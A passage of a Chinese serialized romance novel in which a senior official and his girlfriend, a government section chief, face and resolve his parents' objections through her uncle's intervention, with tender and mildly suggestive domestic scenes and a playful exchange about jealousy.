周聿深解开安全带,偏头看去,刚才还强撑着开玩笑的人,此刻就这么靠着椅背,悄悄睡了过去。
他下车绕到副驾,小心托住她的肩背和膝弯,将人稳妥地抱了出来。
夜风拂过,他侧身为她挡了一下。
蔚汐在失重感中微微蹙眉,无意识地往他怀里蹭了蹭。
刚回到卧室,一阵急促的手机铃声便响了起来。
周聿深看了眼来电显示,指尖划开接听的同时,另一只手轻轻拍了拍怀里人的后背,温柔安抚。
“说。”他刻意压低了嗓音,却依旧不容置喙。
电话那端的人恭敬地汇报着。
周聿深沉默听着,面上看不出什么情绪,只是眸色深沉了几分。
片刻后,他才开口,声线平稳:“父亲点了头?”
那边又应了几句。
“嗯,知道了。”
电话刚挂断,他便对上一双缓缓睁开的眼睛。
蔚汐不知何时醒了,眼底雾蒙蒙的,映出他的模糊轮廓。
两个人之间离得很近,他接电话时并没有特意避开,蔚汐隐约听到说首长亲自去西山接周夫人,明天要见一位重要故交的事情。
她软软地开口,带着浓重的睡意拖长调子:“周聿深。”
“嗯?”他立刻放下手机,全心看向她。
蔚汐往他怀里依偎得更深,声音清软却认真:“等这次论坛活动忙完,稍微清闲一点的时候……去见见叔叔阿姨吧?”
周聿深抚弄她长发的手微微一顿,垂眸凝视着她:“汐汐,这件事不着急。”
“我不希望你为了我做任何的将就。”
“没有将就。”蔚汐抬起头,唇角弯起一个柔软的弧度:“只是觉得可以稍微着急一下,毕竟……”
“周先生在追求的过程中说,他已经不再年轻了。”
话音未落,环住她的手臂便收紧了些。
“记得这么清楚吗?”他缓缓低下头,温热的呼吸拂过她的唇瓣,声音低沉而危险:“那宝贝还记得我那晚说过的定量,用了多少,连本带利欠了多少么?”
第123章 “他原本有大好前程。”
夜色如水,卧室内只余一盏暖黄的壁灯。
周聿深手臂仍环在她腰际,眼底翻涌着危险的情绪。
蔚汐努力迎上他的目光,嘴上并不服软:“明明是周先生自己说的,还故意曲解我的意思……”
周聿深低笑一声,温热的掌心缓缓抚过她后背,带着灼人的温度,在失控边缘流连,“如果是年轻时遇见你,”
他嗓音低沉,咬字极缓,像在描绘一副暧昧的画面:“我大概不会有现在这份耐心,给你任何冷静、拉扯的机会……”
话音刚落,蔚汐被他突然探入衣摆的手惊得轻喘。
隔着薄薄的衣料,腰腹处的力度和热度都清晰得让她瞬间屏息,指尖下意识攥紧了他的衣襟。
“……就像现在这样。”他接上未尽的话,目光锁紧她染上水汽的眼睛,声线低哑:“管你明天要不要开会,是不是累了,你只能待在我怀里,慢慢计算。”
他咬着她耳垂问,呼吸烫得惊人,“欠了多少,完成多少,自己算给我听。”
蔚汐轻喘着,被他话语里的占有欲和腰间的力道搅得心慌意乱,却只能留在这方寸之间,无处可逃。
“周聿深……”她眼尾泛红地去扯他衣领,“你别……”
他故意曲起膝盖抵在她腿间,放缓了所有动作,不轻不重地揉按抚弄,只留下克制的亲吻和拥抱。
“我知道。”周聿深话锋一转,语气里添了几分刻意的遗憾和更深的忍耐:“得顾及我们汐汐明天还要体面地去处理工作,解决问题。”
蔚汐难耐地动了动腰肢,却被他稳稳按住。
周聿深温热的呼吸洒在她的耳畔边,故意吊着她的情绪,声音闷哑却带着不容动摇的决断:
“……明天我送你上班。”
“今晚好好休息,宝贝。”
蔚汐茫然睁眼,只见他已然翻身下床走向浴室。
水流声隐约传来,她轻咬着唇,浑身都泛着未得纾解的绯红。
良久,周聿深才带着一身凉意回到卧室。
床上空空荡荡。
甚至连个枕头都没给他留下。
周聿深摇头轻笑,随手拿起客卧的钥匙,轻而易举地进去,将温软熟睡的她捞回怀里。
蔚汐在睡梦中无意识朝着他贴近,发出小猫似的咕哝。
他低头,在她发顶印下一个极致温柔的吻。
与方才那个充满侵略性和占有欲的男人,判若两人。
**
住建厅小会议室。
蔚汐刚开完会出去,迎面就撞见了一个熟悉的身影。
“蔺诚哥?”她有些意外,轻声问道:“舅舅没过来吗?”
今天王处要与磐石安保的团队进行最后的细节核对。
按理说,这么重要的对接,舅舅应该会亲自参加的。
蔺诚面容温和,与蔚汐科室的同事点头示意,而后才看向蔚汐,语气自然地说道:
“蔚总那边临时有点急事,实在是抽不开身,赶不过来了,就让我全权负责处理。”
蔚汐闻言,虽有一丝疑惑,但并未多想。
她点点头,“没事,蔺诚哥你来也一样,王处刚好在会议室,我不便在场,你们先谈。”
蔺诚是蔚时尧最得力的副手,也是看着蔚汐长大的哥哥。
他过来处理,蔚汐自然是放心的。
与此同时,城郊一家环境极为清雅隐蔽的茶舍。
包厢门被侍者恭敬地推开,一道挺拔的身影迈入。
来人穿着一身熨帖的深色便装,身姿依旧带着军旅留下的硬朗痕迹,眉宇间有一股落拓不羁的痞帅气质。
蔚时尧目光落在主位上那位不怒自威的长辈身上,神色平静,嘴角噙着一丝若有若无的笑意:“抱歉,宋司令,公司有点儿事耽搁,来晚了。”
随即,他的目光转向周家夫妇,笑容淡了几分,但礼节未失,“这两位,想必就是首长和周夫人了吧?我是蔚时尧,蔚汐的舅舅。”
主位上的宋司令微微颔首,语气带着点长辈对晚辈的熟稔与提醒:“时尧,来了就坐。今天都是自己人,说话注意点分寸。”
蔚时尧笑了笑,在预留的位置上坐下。
他自个儿斟了杯茶,动作看似随意,却透着力量感。
“司令,您知道我,粗人一个,漂亮话不会说。”
“今天托您的情面请首长和周夫人过来,”蔚时尧懒得绕圈子,直接开口,声音沉了几分:“就是想谈谈周聿深和我家孩子的事。”
周戎铮坐姿沉稳,目光平和却不失威严。
他常年待在部队,只一眼便看出了为何宋司令会这么喜欢当年手底下的这个兵。
这种游刃有余的气度,绝非一般士兵。
宋司令缓缓放下茶杯,目光扫过周家夫妇:“老周,雯敬,今天贸然请二位过来,主要就是想聊聊时尧,还有他家那个外甥女,小汐。”
“时尧以前在我手下,是最出色的兵,有着过命的交情。”宋司令说着,指了指蔚时尧随意搭在扶手上的右手手臂:“那次执行紧急任务,为了护着我,他这条胳膊彻底废了,弹片穿过主要神经,命都去了半条。”
“当时军医说,没截肢都是万幸,就算恢复得好,也不能再承受任何高强度的训练了。”
蔚时尧闻言,只是微微扯了下嘴角,垂下眼睑看着杯中浮沉的茶叶,语气轻淡地像是说别人的事:
“司令言重了,职责所在,换了别人也会那么做。”
宋司令却摇摇头,语气加重了几分:“那不是轻飘飘的职责两个字就能带过的。”
“他原本有着大好前程,凭他的能力和那次立的功,哪怕手臂受伤,也完全可以在部队有更好的发展,这一点,老周你应该比我更清楚。”
“但他不想占着位置却无法百分百履行职责,不想给部队添麻烦,更放心不下他外甥女小汐。”
“时尧这个人,骨头硬,脊梁直。靠自己打拼出现在的事业,从来没跟我开过一次口,求过一件事。”
“唯一一次,就是他不久前亲自飞到京市来见我。”
宋司令声音沉稳,带着定调子的意味:“这个当年重伤休克都没低过头喊过痛的人,为了小汐那孩子,拜托我务必请你们二位来,当面把话说清说透。”
第124章 “无论多高的枝头,她都配得上。”
包厢内陷入短暂的沉寂,只有清雅的茶香袅袅弥漫。
蔚时尧抬起眼,目光平静地掠过周戎铮不怒自威的脸庞,最终落在努力维持仪态的周夫人身上。
“司令,您这话说的,倒显得我矫情了。”他嘴角透着若有若无的笑意,神色一正:“不过,您说的对。我蔚时尧这辈子没求过谁,但为了小汐,别说求您攒这个局,就是再难的事,我也做得。”
说完,他将目光转向周家夫妇,开门见山:“首长,周夫人。今天贸然请二位过来,失礼之处,我先赔个不是。”
“但有些话,不说透,不说明白,我不放心。”
周戎铮沉稳开口,声音低沉:“蔚先生,有什么话,但说无妨。”
蔚时尧点头,身体微微前倾,淡淡道:“几个月前,小汐哭着给我打电话,让我去接她。她懂事,一句周家的不是都没说,更没提半分委屈。”
“但我这个当舅舅的,大致能猜到缘由。”
“左不过是些关于身份门第、家世差距的老生常谈。”
再开口时,他的语气带着一丝近乎嘲弄的淡然:
“既然可能涉及到对蔚家家世的考量,我也有必要向二位做个澄清,以免有人觉得我家孩子是想攀附什么权贵。”
周戎铮听到这话,眉心微蹙,想要开口解释。
旁边的宋司令直接端起面前的茶杯,朝他示意说没关系,等时尧把话说完。
蔚时尧语调平稳,字字清晰,带着沉重的分量:
“小汐的父母,毕业于京大,是优秀的环境工程师。十年前调查一桩环保案件,遭遇报复,意外身亡,直到不久前,案件才彻底水落石出,这是其一。”
“我父亲母亲,中医世家,一辈子给人治病看病。当年为了配合医院的建设,老两口二话没说签了字,主动让出了祖宅,至今都一份补偿没要,这是其二。”
“至于小汐,研究生毕业后通过公开选调考进单位,从基层干起,在狗都嫌弃的贫困山区待了近一年。今年进了个什么督导组,为了工作,还差点把命都他妈丢在洪水里,这是其三。”
蔚时尧想起那天的暴雨,声音带着一股压抑不住的愤懑和心疼:“如果蔚家真的想要钻营,想要特权,这桩桩件件就不会落在我们头上,也不至于沦落到家破人亡的地步。”
“我不否认周聿深年纪轻轻身居高位,是个厉害人物,是个好领导,但我今天过来,不是为了替蔚汐争什么名分,更不是想要来求你们周家的认可。”
“若二位还是认为,这样的家世背景意味着我们企图利用周聿深,想要获取到某种‘特权’或‘捷径’,我就直说了,这既是对蔚家满门清誉的亵渎,也是对您儿子周聿深的侮辱。”
宋司令缓缓点头,沉声开口:“老周,雯敬,时尧的为人,我最清楚。他若有一丝攀附之心,当年就不会毅然决然选择退役,更不会拒绝我给他安排的一切。”
“不瞒二位,我妻子因病无法生育,我们夫妻二人早些年就动了心思,想把小汐认到我们名下,但是——”
他顿了顿,目光扫过蔚时尧,无奈笑道:“被时尧一口回绝了,还大发脾气,嚷嚷着说,蔚家的孩子不需要借任何人的势,气得他再也没带小汐来过我们家里拜过年。”
“如果他们真想通过身份地位得到些什么,那么,利用我这个司令之位,小汐的路,是不是会比现在走得‘顺畅’得多?她根本不用在基层单位熬资历,担责任。”
这段话点得透彻明白,如同拨云见日。
如果那小姑娘真的另有所图,有宋司令这样位高权重的长辈,不是更方便些?她何须在基层事事亲力亲为?又何须绕圈子来找周家?
宋司令能给的,未必会比周家少多少。
蔚时尧倘若没退役,现在的职位也未必会低。
只是……
蔚家不屑于这样做罢了。
孟雯敬姿态依旧优雅,语气带着歉意和认可:“蔚先生,之前是我狭隘了,听了一些不必要的闲话,产生了先入为主的偏见。”
“我为我欠妥的言行,向你和小汐表示歉意,是我行事不周。如果小汐愿意,我会当面再跟她道歉。”
蔚时尧静静听着,脸上看不出喜怒。
等周夫人说完,他才缓缓开口:“周夫人言重了,我说这些,并非是想兴师问罪,要什么道歉。”
“您二位是长辈,小汐敬重长辈,是应该的。”
蔚时尧目光淡然地看向周戎铮,话语清晰:“我今天来,就是想托宋司令的情面,向二位要一个明确的态度。”
“周家如果对两个孩子交往有任何疑虑,无论出于何种原因,都可以,也请直接告诉我。”
“蔚家的女儿,并非离了周聿深便再无良配,无论多高的枝头,她都配得上。”
“若我们两家理念不合,真不用勉强,千万别表面装得风平浪静,背地里让我家孩子承受任何形式的轻视。”
“这一点,”他看向周戎铮,眼神里是平等的交流:“希望首长能够理解。”
他这番话已经说得再明白不过。
他不是来乞求认可的。
他是来划下道儿,要一个明确态度的。
行就行,不行就拉倒,但绝不允许暧昧不清地欺负人。
周戎铮看了夫人一眼,而后才沉声道:“蔚先生,雯敬之前的确思虑不周,行事过分了些。聿深的选择,我们尊重,我以周家的名誉担保,这种事,往后绝不会再发生。”
宋司令适时地端起茶杯,缓和气氛:“孩子们的事,终究要看他们自己,老周,雯敬,你们别太往心里去。”
“时尧这脾气,多少年了也没改,他就是疼小汐。”
蔚时尧很给面子地笑了笑,举杯示意:“司令说的是。是我关心则乱,以茶代酒,敬二位。”
话落,他将杯中茶一饮而尽,姿态干脆利落。
一场潜在的风波,在蔚时尧强硬而不失分寸的介入下,被彻底摆上了台面,也得到了周家明确不再干涉的承诺。
至于后续周家内部如何消化……
那就是周聿深需要处理的事情了。
他将茶杯不轻不重地放回桌面,发出“哒”的一声轻响。
**
茶室外的回廊,清幽安静。
蔚时尧最后与宋司令和周家夫妇道别,婉拒了周戎铮派车相送的好意。
刚走到拐角处,迎面一道窈窕的身影脚步匆匆地走来。
她低着头,几乎要与他撞个满怀。
蔚时尧反应极快,侧身避让的同时,手下意识地虚扶了一下对方的胳膊,以防她摔倒。
沈晞禾猝不及防被人挡了一下。
正欲发作,抬眸却对上一双沉静而锐利的眼睛。
眼前的男人身姿挺拔,气质冷峻沉稳,绝非寻常人物。
就在这时,身后传来一个略显急切油腻的男声:
“晞禾,李总他刚才就是开个玩笑,你别当真啊……”
电光火石间,她几乎是本能抓住蔚时尧的手臂,将自己贴进他身侧,语气又急又快:
“不是让你在车里等吗?怎么进来了?”
蔚时尧眉头瞬间拧紧,手臂肌肉下意识绷紧,极其反感这种突如其来的触碰和利用。
然而,追来的制片人已经赶到。
看到沈晞禾“依偎”在一个明显不好惹的男人身边,脸色变了变,讪讪地站在原地。
沈晞禾的眉眼生得极为精致,有种明艳夺目,带着攻击性的美。
见蔚时尧没有反应,她攥紧了他的手臂,望向他的目光带着点娇嗔埋怨。
蔚时尧是何等人物,几乎瞬间就明白了眼前的局势。
他虽不喜欢多管闲事,但更厌恶那种逼迫女人的行径。
更何况,刚为自家孩子撑完腰,对这种事正敏感。
巧了么不是。
她的名字里还碰巧带个xi字。
蔚时尧薄唇紧抿,几乎是从牙缝里挤出一句配合,声音低沉且毫无温度:“等太久,过来看看。”
第125章 “我怎么舍得凶你?”
周家老宅。
周聿深推开书房的门,肩头还带着一丝未散尽的室外清寒,显然是得到消息后匆忙赶回。
“爸,妈。”他声音低沉,听不出情绪,“谈完了?”
孟雯敬见到儿子,脸上掠过一丝复杂,先前在茶室被蔚时尧那番不卑不亢的话语点醒的愧意又浮现出来。
她走上前,语气温和了许多:“嗯,和你宋叔叔,还有蔚家舅舅喝了杯茶。”
周聿深目光微凝,落在母亲身上。
他很早之前便得知了这场长辈局,也遵守和蔚时尧的约定,并未将此事告知小汐。
“聿深。”孟雯敬叹了口气,姿态不再像以往那样矜持优越,她看向儿子,开口道:“之前……确实是我做得不对,听信了些闲言碎语,对小汐有了偏见,伤了她的心。”
“如果小汐愿意,我会当面向她道歉。”
周聿深沉默地听着,没有打断。
直到母亲说完,他才沉声开口:“小汐的性子,从来就不是会要求长辈低头认错的人。即便自己受了委屈,她最先考虑的,仍是我会不会为难。”
“我希望您二位的表态不仅仅是出于今晚的压力,而是真正尊重小汐,尊重我的选择。”
他顿了顿,视线沉稳地落在父母身上,从容而决断:“无论对方是谁,哪怕是至亲,都不能越界伤她分毫,这是我的底线。”
周戎铮放下茶杯,眼神里是历经风浪后的沉稳:“蔚家门风清正,教出的孩子自有风骨。之前是你母亲处理不当,我已经说过她了,感情的事,就交由你们自己决定。”
“不过……”他顿了顿,带着几分提醒:“蔚家那姑娘,他舅舅护她护得没边儿,你若是对不起人家,我跟你妈也只能站旁边看着,插不了手。”
周聿深闻言,只淡淡应了声:“知道。”
他了解蔚时尧,更了解自己怀里那个看似柔软却倔强的姑娘有多么值得珍视。
“这么晚了,早点休息吧,你房间——”
“不了。”周聿深抬手看了眼腕表,声音不自觉放缓了几分:“她不舒服,我不放心。”
孟雯敬心下了然,知道自己儿子这次是真的栽了进去,便没有继续说什么:“那你快回去吧,路上小心。”
周聿深颔首,没再多言,转身离开了老宅。
再回到泊月公馆时已接近深夜。
卧室方向隐约传来了一丝极细微、压抑着的抽泣声。
他心下微沉,脱下沾染了夜凉的外套,快步走向卧室。
走之前还哄着她吃了止疼药,等她睡着才离开的。
周聿深坐在床边,轻轻掀开被子一角。
蔚汐额头上布满了细密的冷汗,头发湿漉漉地贴在皮肤上,纤长的睫毛随着压抑的呼吸轻轻颤抖。
痛经。
再加上前段时间天天在寒风里跟进度。
对于畏寒怕冷的人来说简直是雪上加霜。
周聿深的心像是被一只无形的手紧紧攥住,闷闷地疼。
他俯下身,小心翼翼地将发抖的身体连人带被子拥进怀里,宽大温热的手掌一下下轻揉着她的小腹处。
“很难受吗?宝宝。”
蔚汐下意识往他温暖的胸膛深处埋进去,眼泪很快便洇湿了他胸前的衣料,呜咽着说:“感觉痛得快要死掉了……”
“知道会痛得这么厉害,为什么还不听话?”
“……我听了。”
“不要以为你偷偷跑去现场我就不知道。”周聿深眉心微蹙,声音带着一点威慑,却又因心疼而软化:“下次再这样,我真的会生气。”
蔚汐正难受着,满心都是脆弱。
听他不仅不温言软语,反而还“威胁”自己,顿时委屈得无以复加,眼泪掉得更凶。
她抬起头,眼泪汪汪,像只被欺负狠了的小兔子:“我都这么惨了……你、你能不能不要凶我了?”
那声音又软又糯,砸在周聿深的心上。
他低下头,温热的唇轻轻吻去她眼角的泪珠,动作珍重而温柔,“没凶你。”
周聿深下巴蹭着她的发顶,略显无奈地叹了口气:
“我怎么舍得凶你?”
蔚汐在他怀里不安分地动了动,被泪水洗过的眼眸湿漉漉地望着他,带着浓重的鼻音,声音细弱又任性:“你舍得。”
“对不起宝宝。”周聿深从善如流地认错,掌心在她后背轻轻顺着,像是给委屈炸毛的小猫顺毛。
他身上的热度透过薄薄的衣料源源不断地传来。
好像一个量身定制的专属暖宝宝,熨贴着她冰凉的小腹。
蔚汐吸了吸鼻子,像是想到了什么好主意。
下一秒,她软绵绵的手指无意识地揪着他胸前的扣子,语出惊人:“那…你可以把衣服脱了…哄我吗?”
第126章 “领导艺术的一环。”
周聿深身体明显一僵,揉着她小腹的手顿住了。
他垂眸,对上怀里那双湿漉漉,纯粹又任性的眼睛。
这要求简直过于磨人了……
“汐汐。”
他声音低哑得不像话,带着克制:“你确定吗?”
蔚汐无辜地点点头,指尖扯了扯他的衣服,无声催促。
周聿深松开她,骨节分明的手指利落地解开了衬衣纽扣,布料向两侧敞开,露出里面紧实漂亮的腹肌线条。
他脱下衣服后,重新俯身将她揽入怀中。
这一次,再无任何障碍。
蔚汐感受到他身上烫人的温度,有些舒服地喟叹一声,像只终于找到热源的小猫,下意识更紧地埋了进去。
周聿深呼吸渐渐变得沉重,绷紧了全身肌肉。
女孩柔软的身子和冰凉的肌肤贴着他,各种蹭来蹭去,仗着特殊时期,嚣张得不得了。
周聿深滚烫的气息喷洒在她的脖颈处,在她故意屈膝的时候,发出一声极压抑的性感闷哼。
“……别乱动。”他哑声警告,每个字都像是艰难挤出来的,低喘着说:“但愿下周你还能这么嚣张。”
听到这话。
蔚汐果然安分了不少。
她似乎很偏爱他没有绷紧的软软胸肌,脸颊在上面贴来贴去,像只正在玩捏捏的小猫。
但是这个捏捏不会柔软回弹,只会变得又硌又硬。
周聿深沉默着抱了一会儿,直到感觉到她身体不再那么冰凉,痛意也渐渐有所缓解,才开口说:
“明天上午不许去单位了,请假。”
蔚汐闻言,微微抬起头,试探着说:“可是……明天上午有个挺重要的会……”
“没有可是,蔚汐。”他打断她,连名带姓。
听到他叫自己全名,蔚汐心里咯噔一下,知道他这个语气不是商量,而是下命令通知。
她抿了抿唇,把剩下的话咽了回去,乖乖地“哦”了一声,小声说:“那我等下跟陆处长请个假。”
“嗯。”周聿深脸色稍霁,大手仍在她的小腹处轻轻揉按,“就请上午,下午如果还不舒服,我带你去看医生。”
蔚汐在他胸前蹭了蹭,声音闷闷地传出来:“……你好啰嗦。”
“嫌我啰嗦?”周聿深气笑,故意松了松怀抱,“那你自己暖着?”
“不要!”她立刻抱紧他的腰,整个人缠上去,轻声服软:“……不嫌你啰嗦,你最好。”
周聿深将她的脑袋重新按回怀里,声音里满是迁就与宠溺:“睡吧,明早给你煮红豆粥好不好?”
“……加很多很多小圆子吗?”她困意渐渐上涌,不忘讨价还价。
“加。”周聿深低沉地笑了笑,“给小鱼宝宝加双份。”
**
蔚汐这次痛经熬过前两天后,恢复得竟真的比以往快些,总算有精力重新投入到紧张的论坛筹备工作当中。
周聿深见她气色好了不少,才稍微放下心来。
蔚汐正窝在沙发里写着明天的工作安排,刚一抬头,便跌入他含笑的眼眸。
她心跳不由得漏了一拍,“嗯?怎么了?”
周聿深好整以暇地往后靠了靠,大掌落在她腰间轻揉,慢条斯理地开口:“没什么,只是忽然想起外公之前说过的一句话,觉得……格外有道理。”
蔚汐眨了眨眼,好奇心被勾了起来:“外公又偷偷跟你说什么了?是不是让你监督我喝那些苦得要命的中药?”
她说着,小脸下意识皱了起来,仿佛已经尝到了那味道。
“不是。”周聿深嗓音低沉,放缓了语速,每个字都带着滚烫的温度:“是那次在梧桐里,外公说我们两个的体质,一阳一寒,倒是互补。”
蔚汐脸颊瞬间红透,讲话时差点被呛到,轻咳起来。
周聿深手掌轻拍着她的后背,低笑着说:“看来以后确实得好好帮我们汐汐补一补,多调理调理。”
这番话说得百转千回,满是暗示。
蔚汐缓过气来,连耳根都红透了,又羞又恼地瞪了他一眼,声音柔软而含糊:“周聿深……不许再说了!”
周聿深没有再继续这个让她面红耳赤的话题,目光落在那个不小心掉在他怀里的笔记本上。
上面的字迹工整清晰,条分缕析地记录着近期工作要点。
他看得仔细,指尖无意识地在她的腰侧轻轻点了点,带着一种审阅文件的专注。
蔚汐顺着他的视线看向摊开的笔记本,下意识解释:
“……只是常规的工作记录。”
“嗯。”周聿深应了一声,声音里还残留着方才未尽的笑意,但语调已沉缓下来:“上次跟你提过,不必事必躬亲,要学会放权,但我看这里……”
他修长的手指指向其中一行,“规划草案的初评,你还是标注了要亲自参加?”
“我怕他们抓不到重点,反而会耽误时间。”
“抓不住重点,那就让他们犯错。”
周聿深的嗓音透着股历经沉淀的自信与权威:“到时候你再纠正指导的效果才会更好,也更锻炼人。”
“还有,”他话锋一转,语气里多了几分温和:“国际论坛活动期间,科室这边日常性的工作,可以适当放一放,或者让副手多担待。”
“懂得在不同时期抓不同的主要矛盾,也是领导艺术的一环,蔚科长。”
最后那个称呼,他尾音微微拖长,添了几分工作中从未有过的难以言喻的缱绻。
蔚汐迎着他的目光,鬼使神差地轻声说:“每次听周先生私下跟我谈工作或者讨论问题,总觉得……特别有魅力。”
周聿深眼底笑意加深,身体不着痕迹地前倾了几分。
“哦?”他尾音上扬,带着明显的愉悦和探究,“那不谈工作的时候呢?就没有了?”
蔚汐被他看得有些招架不住,声音比刚才更软了几分:
“也……也不是没有,就是……”
周聿深没给她说完的机会,忽然低下头。
温热的唇精准地落在了她的唇瓣上,轻含着吮了两下。
“就怎么?”他嗓音染上了几分得逞的暧昧。
蔚汐眼底潋滟着动人水光,小声嘟囔:“就是像现在这样,明明刚才还一本正经地教导人,转头就……不正经!”
周聿深喉咙里滚出一声低沉而愉悦的笑。
他抬起手臂,指腹若有似无地擦过她微热的脸颊。
“没办法,”他语气里带着几分无奈的纵容,又混着显而易见的宠溺,“谁让我们汐汐谈起工作就心无旁骛,把我当遥不可及的领导。”
“工作期间也就罢了,私下若是再不主动些……”
他刻意顿了顿,温热的呼吸拂过她的耳畔。
最终将一个滚烫的轻吻落在她敏感的耳畔,嗓音压得极低,磁性又撩人:
“她还会愿意当我老婆吗?”
第127章 “至少,周聿深不能。”
蔚汐被他吻得耳根发烫,下意识往后缩了缩,却被他拦住腰肢轻轻带回,手心轻轻抵在他的胸膛处。
“谁、谁说要当你老婆了……”她声音软糯,没什么底气地反驳说:“周先生这是提前预谋不存在的权利!”
周聿深低笑出声,就势握住她的手,坦然道:
“存在的权利,当然要靠自己争取。”
“那蔚科长工作的权利也要靠自己争取。”蔚汐学着他的语调,强装镇定,示意他不远处掉落的笔记本,“领导,罚你帮我捡起来。”
周聿深挑眉,眼底掠过纵容的兴味。
然而,就在他松开手,弯腰去捡的刹那——
蔚汐抿唇一笑,还没等他反应,便像一尾灵动的鱼,裙摆漾起微弧,转身离开了客厅。
“这叫声东击西。”
“也是周先生在工作中教我的。”
周聿深低头看了看手中的笔记本,指尖轻碰了下,眼底是未散尽的宠溺。
她或许不清楚。
真正有魅力的那个人,是她自己。
是她在谈论专业领域时,眼中闪烁的光芒,是她那份冷静智慧下偶尔泄露出的纯粹与可爱。
没人会不为这样的蔚汐心动。
至少,周聿深不能。
**
国际论坛开幕当天,主场馆内人流如织,来自世界各地的嘉宾、学者、媒体记者汇聚一堂。
周聿深站在论坛中心的红毯通道旁,被一群外交官和记者簇拥在中心,一身深灰色西装衬得他身姿笔挺。
作为本次论坛最年轻的核心领导及主要推动者。
他无疑是全场焦点之一。
完成开幕式上沉稳大气、高瞻远瞩的致辞后。
他与几位关键人物进行了短暂而高效的交流,便不动声色地示意梁序。
“抱歉,各位媒体朋友,周书记接下来还有几个紧急会议需要出席,不便接受任何采访。”
现场的外事活动格外密集。
蔚汐也在筹备组的协调中心忙得不可开交。
刚确认完下午的动线安排,走到后台区域,就看到翻译休息室门口,一个女孩子正微微弯着腰,手按着小腹处。
蔚汐脚步顿了顿,想起自己包里的东西。
她转身去茶水间倒了杯热水,又将没拆封的红糖姜茶冲剂和布洛芬一并带了过来。
“你好,喝点热水吧,看你不太舒服。”
“啊,谢谢。”
侯嘉薇接过温热的水杯,有些诧异地看着她递过来的红糖冲剂,缓了口气:“麻烦你了,怎么还会随身带着这个啊?”
蔚汐笑了笑,语气温和:“我男朋友买的。前段时间身体不舒服,他就给我包里塞了好多。”
“好贴心。”侯嘉薇捧着温热的杯子,看向蔚汐胸前挂着的工作牌,笑着补充道:“看来我今天运气很好,碰见救星了,谢谢蔚科长。”
“没关系,举手之劳。”蔚汐摆摆手。
两个女孩聊天的时候,走廊那头忽然传来脚步声。
周聿深在安保人员的簇拥下,正低头跟梁序安排着什么,似乎是要离开主会场。
侯嘉薇抬头看见,或许是身体刚受过照顾心神稍松,她下意识地脱口而出:“聿深哥?”
话音刚出,她立刻意识到场合不对,脸上掠过一丝懊恼。
她几乎是瞬间便收敛了神色,恢复了得体冷静的模样,略显歉意地更正道:“抱歉,周书记。”
周聿深目光扫过两人,在蔚汐脸上极快地停留了一瞬。
他极轻地颔首,从喉间应了一声低沉的“嗯”,算是回应。
而后便快步离开了现场,没有任何多余的寒暄。
蔚汐在侯嘉薇打招呼时也循声抬眸看了一眼。
他们认识吗?
侯嘉薇目送周聿深一行人的背影迅速消失在走廊转角,才轻轻松了口气:“同传翻译时都没那么紧张,周书记真是我见过气场最强大的领导。”
蔚汐在心里特别赞同的点了点头!
但是工作场合,还是不能在私下过多议论领导。
她保持着温和得体的轻笑,轻声问道:“下午好像是有双边会谈的同传,是侯小姐负责吗?”
侯嘉薇捧着温暖的水杯,笑容真诚了许多:“对,所以才说碰见救星了。”
“你没事就好,”蔚汐浅笑颔首,看了眼时间,“那我先去忙工作了,如果还有不舒服的地方,可以随时联系现场配备的医疗组。”
“好的,你先忙,再次感谢!”侯嘉薇回到休息室才意识到忘记留联系方式了。
那位漂亮的女孩子看起来年纪很轻,气质干净又柔和。
但没想到已经是能负责如此重要国际论坛协调工作的科级干部了。
**
傍晚时分,论坛首日的议程基本结束。
与会嘉宾纷纷前往欢迎晚宴会场。
周聿深终于得以从密集的行程中抽身,回到临时休息室。
他松了松领带,靠在沙发上闭目养神了片刻。
梁序悄声进来,低声汇报了晚宴的主要安排和几点注意事项,随后便安静地退了出去。
休息室里彻底安静下来。
周聿深拿起手机,对话框没有任何新消息提示。
或者说……
没有他惦记的人发来的任何质问。
没有好奇,没有疑虑,甚至没有只言片语?
指节分明的手指在屏幕上轻点,没有任何犹豫拨通。
周聿深之所以在忙碌间隙打这通电话,是因为还记得下午那短暂的一幕。
他将手机贴在耳边,身体向后靠近宽大的座椅里。
电话响了五六声才被接起。
背景音里有纸张翻动的细响,她的声音清软而带着工作时的专注:“喂?怎么了?”
周聿深指尖轻叩皮质扶手,声线低沉地唤她:“汐汐。”
“下午在后台走廊,她那样称呼我。”他斟酌片刻,语气放缓,带着极浅的温和引导:“你就没有什么想问我的吗?”
第128章 “不等你哦,我吃醋了。”
“嗯?问你什么?”
她的声音里带着恰到好处的疑惑。
随即才想起下午那场微不足道的小插曲,“你是说那个身体不舒服的女孩子吗?”
周聿深轻应了声,像是不经意地提起:
“她叫我的那个称呼,你后来……没觉得有什么?”
“我听到了呀。”蔚汐的语气依旧清软认真:“当时是有点意外,不过想想也正常。周家家世渊源,长辈之间相识,有世交的弟弟妹妹也很合理。”
周聿深靠在椅背里,眉头几不可查地蹙了一下。
她这份过于明事理的冷静,反而让他心底那点微妙的在意念头,彻底落了空。
“还有呢?”他声音沉缓了几分。
电话那头安静了一瞬。
就在周聿深以为她终于要步入他设定的语境时。
蔚汐的声音再次响起:“还有就是……人家身体不舒服,所以没注意场合,喊了私下里的称呼,你别那么记忆深刻嘛,只想着批评训斥。”
“我今天抽空看了她的那场同传翻译,专业能力真的太出色了,不愧是在翻译司工作的女孩子。”
她语气诚恳,完全沉浸在对优秀女性的欣赏里。
周聿深忽然有些气闷,又有些想笑。
他终于放弃了那点儿迂回的试探,嗓音低沉:
“汐汐。”
“我打这通电话,不是想听你夸赞别人有多出色。”
他停顿了片刻,让她消化这句话里的意味。
然后才继续开口,将问题直白地摊开:“我是想知道,我女朋友看到有异性用略显亲密的称呼叫我时……会不会有一点属于她自己的情绪?”
蔚汐终于明白了他百忙之中打这通电话的目的。
“周聿深,”
她拖长了语调,声音里浸着笑意:“你绕了这么大一个圈子,该不会是想让我吃醋吧?”
周聿深并未承认,却也没否认。
他的语气罕见地失了些平时的绝对从容:“有吗?”
“明明就是。”蔚汐眼底笑意更深,陈述着事实:“你今天格外在意我的反应,想看我吃醋生气。”
听筒里传来一声极轻的气息变化。
似是无奈,又似纵容。
“蔚汐,”他连名带姓地叫她,声音沉缓:“有时候,我也希望你能稍微不那么理性,明事理。”
“不论你是任性撒娇,还是无理取闹,我都喜欢。”
“噢——”
蔚汐拖长语调,立刻换了副正经口吻:“那么,周先生,请你如实交代,你和那位漂亮优秀的侯翻译,到底是什么关系?有没有什么往事是我应该知道的?”
周聿深终于低笑出声,语调悠然:“晚了,已经错过最佳吃醋时机了。”
